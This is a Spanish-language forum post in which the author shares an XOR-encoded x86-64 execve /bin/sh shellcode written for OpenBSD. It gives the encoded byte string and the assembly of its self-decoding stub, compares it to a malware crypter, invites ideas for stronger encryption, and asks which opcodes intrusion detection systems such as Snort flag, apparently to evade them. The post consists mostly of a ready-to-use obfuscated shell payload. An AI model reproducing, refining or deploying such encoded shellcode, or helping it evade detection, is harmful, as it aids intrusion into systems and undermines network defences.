Como no hay muchos temas de estos en el foro les dejo este aporte, se trata de la tipica execve /bin/sh. No esta testeada ya que utilizo OpenBSD y no puedo ejecutar nada desde la memoria, para la Linux cambien el numero de la syscall, tendria que funcionar.
Este codigo lo cree para poner en practica mis conocimientos, si alguien da un mal uso es su problema, no soy responsable.
Código
"\xeb\x0c\x5e\x46\x31\x24\x8e\x41\xfe\xc9\x75\xf7\xff\xe6" "\x41\xb1\x06\x4d\x31\xe4\x41\xff\xcc\xe8\xe6\xff\xff\xff" "\xb7\x44\xe8\x4e\xcb\x48\x68\xc6\xcb\x7f\xb7\x2e\x3c\xac" "\xab\xa0\xb7\xce\x3f\xaf\xab\xa1\xb7\x66\x4f\xc4\xf0\xfa";
Este es el Encode.
Código
_start: jmp _C.2 _C.0: popq %rsi _C.1: xorl %r12d, (%rsi, %r9, 4) decb %r9b jnz _C.1 jmp *%rsi _C.2: movb $0x6, %r9b xorq %r12, %r12 decl %r12d call _C.0
Como pueden observar es casi identico por no decir que es completamente identico al de un crypter de un troyano o malware similar. Tengo bastantes ideas de como mejorar el cifrado, si alguien se anima que lo comente, y cualquier pregunta sobre el codigo ya saben.
Un saludo.
P.D: Alguien sabe cuales son los opcodes que detecta un IDS? Por ejemplo se que Snort detecta los NOP y /bin/sh.